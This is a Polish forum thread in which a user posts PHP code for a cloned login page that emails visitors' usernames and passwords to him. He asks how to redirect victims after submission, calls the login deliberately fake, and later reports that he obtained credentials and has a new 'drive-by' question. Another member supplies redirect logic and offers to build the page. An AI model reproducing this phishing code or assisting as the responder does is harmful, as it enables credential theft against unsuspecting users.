Przycisk wysyłający dane z formularza i przenoszący na inną stronę

Arthex

Użytkownik
Dołączył
Lipiec 10, 2012
Posty
15
Witam
Przerobiłem kod pewnej strony tzn. jeśli ktoś wpisze login i hasło do swojego konta i kliknie przycisk "Login" to dane z formularza są wysyłane na mój e-mail i wszystko działa jak należy problem pojawia się po kliknięciu "Login" ponieważ strona zostaje lekko "rozwalona" tzn. prawa część strony w której znajduje się formularz przesuwa się na lewą stronę i wtedy pomaga tylko odświeżenie strony.
Chciałbym żeby skrypt wysyłający dane z formularza wysyłał je na mój adres e-mail i jednocześnie przenosił tą osobę na inną stronę.
Co zmienić w tym kodzie aby wysyłał dane z formularza i przenosił na inną stronę ?

Kod:
<?php
if (count($_POST))
{
	////////// USTAWIENIA //////////
	$email = 'MOJ ADRES E-MAIL';	// Adres e-mail adresata
	$subject = 'LOGIN';	// Temat listu
	$charset = 'iso-8859-2';	// Strona kodowa
	//////////////////////////////
	
	$head =
		"MIME-Version: 1.0\r\n" .
		"Content-Type: text/plain; charset=$charset\r\n" .
		"Content-Transfer-Encoding: 8bit";
	$body = '';
	foreach ($_POST as $name => $value)
	{
		if (is_array($value))
		{
			for ($i = 0; $i < count($value); $i++)
			{
				$body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value[$i]) : $value[$i]) . "\r\n";
			}
		}
		else $body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value) : $value) . "\r\n";
	}
	echo mail($email, "=?$charset?B?" . base64_encode($subject) . "?=", $body, $head) ? $message : $error;
}
else
{
?>
<form action="#" method="post">
                                        <label>Nazwa użytkownika</label>
                                        <div class="input">
                                            <input type="text" value="" id="name" name="username" maxlength="30" />
                                        </div>
                                        <label>Hasło</label>
                                        <div class="input">
                                            <input type="password" value="" name="password" maxlength="32"/>
                                        </div>
                                        <div>

<input type="submit" class="button btn-login" onclick="document.forms['loginFormElement'].submit();return false;" value="Login" />

</form>
<?php
}
?>

Proszę o pomoc.
 

Arthex

Użytkownik
Dołączył
Lipiec 10, 2012
Posty
15
Chyba nie zrozumiałeś , chciałem żeby po kliknięciu przycisku "Login" skrypt wysyłał te dane z formularza na mój e-mail a następnie automatycznie przenosił na inną stronę.
Teraz przenosi ale jest problem (nazwa strony na której jest skrypt : index.php ) po wejściu na moją stronę od razu przenosi na inną, nie można wpisać loginu i hasła. Ja chciałem żeby ten przycisk
Kod:
<input type="submit" class="button btn-login" onclick="document.forms['loginFormElement'].submit();return false;" value="Login" />
Najpierw wysyłał formularz na e-mail (TO DZIAŁA) i przenosił np. po 2sek. lub od razu na inną stronę.
 

panczo12d

Użytkownik
Dołączył
Styczeń 22, 2011
Posty
61
Przerobiłem kod pewnej strony tzn. jeśli ktoś wpisze login i hasło do swojego konta i kliknie przycisk "Login" to dane z formularza są wysyłane na mój e-mail i wszystko działa jak należy

Więc wysyłanie na email Ci działa tak?

Chciałbym żeby skrypt wysyłający dane z formularza wysyłał je na mój adres e-mail i jednocześnie przenosił tą osobę na inną stronę.

Skoro masz już wysyłanie danych na maila to potrzebujesz jeszcze przekierować tą osobę gdy się zaloguje.

po wejściu na moją stronę od razu przenosi na inną, nie można wpisać loginu i hasła.

Musisz wstawić ten mój kod w odpowiednim miejscu. Obecnie wstawiłeś pewnie gdzieś luzem i ten kod jest wykonywany od razu, musisz go dać to takiego czegoś:
Kod:
jeżeli (ktoś się zalogował){
sprawdź czy wypełnił wszystkie pola
jeżeli wypełnij wyślij mi dane na maila
przekieruj go
}
 

Arthex

Użytkownik
Dołączył
Lipiec 10, 2012
Posty
15
Dokładnie, wysyłanie wiadomości działa jak należy chodzi mi o to żeby ten przycisk tylko wysyłał dane z formularza (to działa) i przekierował tą osobę na inną stronę.
To logowanie ma być że tak powiem "sztuczne", przycisk ma służyć tylko do wysłania danych z formularza i przekierowania tej osoby na inną stronę.
Spróbuję wstawić i ukryć skrypt JS który po odliczeniu np. 10 sek. przekieruje tą osobę na wybraną stronę.
Myślisz że to zadziała ? Wolał bym żeby robił to przycisk ponieważ JS nie da się zatrzymać i ktoś może nie zdążyć się "zalogować".
 

panczo12d

Użytkownik
Dołączył
Styczeń 22, 2011
Posty
61
Spróbuję wstawić i ukryć skrypt JS który po odliczeniu np. 10 sek. przekieruje tą osobę na wybraną stronę.
Myślisz że to zadziała ?
Zależy.
Wolał bym żeby robił to przycisk
Naciśnięcie przyciska to tylko akcja. Przekierowywać może nagłówek wysłany w php lub kod html odpalony za pomocą js czy jakoś tak, specem nie jestem.
ponieważ JS nie da się zatrzymać
owszem da się, wystarczy wyłączyć obsługę js w przeglądarce i żaden skrypt js się nie wykona. co więcej dużo osób blokuje js na stronach których nie zna.


Ja bym Ci proponował użyć jednak php. jak nie ogarniesz tego to możesz mi podrzucić tą całą stronę i Ci pomogę zrobić tak jak chcesz.
 

Arthex

Użytkownik
Dołączył
Lipiec 10, 2012
Posty
15
Strona jest już zamknięta, osiągnąłem to co chciałem czyli login i hasło ;) miało to być na szerszą skalę no ale trudno, obecnie nie posiadam wystarczająco dużo czasu do stworzenia takiej strony.
Teraz mam inny problem z drive-by jeśli możesz to zajrzyj bo w sprawach JS jestem zielony .
Temat zamykam.
 
Do góry Bottom